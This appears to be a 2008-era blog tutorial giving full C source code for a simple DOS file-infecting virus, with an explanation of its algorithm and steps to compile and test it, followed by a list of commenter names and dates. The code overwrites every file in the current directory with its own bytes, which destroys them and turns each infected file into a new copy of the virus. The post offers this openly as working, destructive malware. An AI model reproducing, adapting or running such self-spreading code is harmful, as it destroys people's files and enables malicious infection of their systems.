This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.
Here’s the source code of the virus program:
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
You can download the source code from the following link:
How the Virus Program Works?
The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory.
Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.
How to Compile the Program:
For a step-by-step guide, you can refer my detailed post on how to compile C programs?
How to Test the Virus After the Compilation:
-
Create a new empty folder.
-
Put some executable files (or any other files) in the folder.
-
Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
-
Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.















I am Srikanth Ramesh, a computer engineer from India.
81 Comments
Anonymous
May 15, 2008 at 10:36 PMrahul
November 20, 2008 at 11:23 PMVeronika
November 22, 2008 at 12:29 PMhimanshu
December 4, 2008 at 9:58 PMSrikanth
December 5, 2008 at 7:02 AMSATISH (director of sat multimedia)
December 11, 2008 at 6:02 PMbhargav
December 29, 2008 at 11:44 PMZals
January 3, 2009 at 10:35 PMZals
January 3, 2009 at 10:38 PMSlim0123
January 4, 2009 at 1:17 PMredman
January 15, 2009 at 12:42 AMHusain
January 16, 2009 at 6:36 PMvishal warang
January 25, 2009 at 12:38 PMbharath
February 10, 2009 at 6:25 PMDaniel Tatsuki
February 24, 2009 at 8:38 PMrahul
February 25, 2009 at 2:37 PMSrikanth
February 26, 2009 at 1:27 AMshajith
February 27, 2009 at 9:06 PMnewbie
March 7, 2009 at 11:45 PMSrikanth
March 8, 2009 at 11:30 PMnewbie
March 10, 2009 at 1:17 AMnewbie
March 10, 2009 at 1:19 AMSrikanth
March 10, 2009 at 9:30 AMAqi
March 17, 2009 at 11:12 PMSrikanth
March 18, 2009 at 9:43 AMAqi
March 18, 2009 at 9:56 AMSrikanth
March 18, 2009 at 3:48 PMDEBPRATIM GHOSH
March 18, 2009 at 3:06 PMAditya
March 19, 2009 at 1:44 PMSrikanth
March 19, 2009 at 3:33 PMAditya
March 19, 2009 at 3:00 PMSrikanth
March 20, 2009 at 7:19 PMAditya
March 19, 2009 at 8:20 PMSrikanth
March 20, 2009 at 8:45 AMRahRah
March 22, 2009 at 11:13 AMSrikanth
March 23, 2009 at 5:35 PMVirendra
March 22, 2009 at 2:07 PMaditya
March 23, 2009 at 7:44 PMSrikanth
March 25, 2009 at 8:20 PMVirendra
March 24, 2009 at 5:41 PMSrikanth
March 25, 2009 at 8:16 PMVithulan
March 25, 2009 at 1:15 PMnaveen
April 4, 2009 at 12:03 AMSrikanth
April 6, 2009 at 3:17 PMRaj Singh
April 13, 2009 at 1:13 AMSrikanth
April 13, 2009 at 10:33 PMlaxman gaire
April 19, 2009 at 8:59 PMHamwenxu
April 21, 2009 at 1:51 PMSarvesh
April 22, 2009 at 2:24 PMDjCall
April 22, 2009 at 9:19 PMAmmiiirrrr
April 23, 2009 at 6:37 AMSavio
May 5, 2009 at 8:17 PMSavio
May 5, 2009 at 8:19 PMSavio
May 5, 2009 at 8:20 PMSrikanth
May 6, 2009 at 11:17 AMfedata
May 7, 2009 at 3:36 PMcutelikekobra
May 11, 2009 at 11:25 PMoldnewby
May 13, 2009 at 10:02 AMSrikanth
May 13, 2009 at 10:16 PMAnkit
May 14, 2009 at 4:21 PMSrikanth
May 15, 2009 at 7:05 AMBill
May 18, 2009 at 10:43 PMbird
May 18, 2009 at 11:40 PMSrikanth
May 19, 2009 at 9:51 AMLoikaw
May 25, 2009 at 9:42 AMneha
May 26, 2009 at 5:30 PMSrikanth
May 27, 2009 at 4:35 PMprem
May 27, 2009 at 8:06 PMjay
June 12, 2009 at 6:14 PMSrikanth
June 22, 2009 at 8:38 PMT3ll
June 12, 2009 at 9:07 PMrocky
June 15, 2009 at 11:32 AMrocky
June 15, 2009 at 11:35 AMpradeep
June 18, 2009 at 10:13 AMSrikanth
June 19, 2009 at 7:52 PMpier
June 19, 2009 at 6:27 AMSarvesh
July 7, 2009 at 5:07 PMharish
July 23, 2009 at 10:47 PMSrikanth
July 26, 2009 at 8:36 PMShah
July 29, 2009 at 6:43 PMkarna
August 16, 2009 at 10:50 AM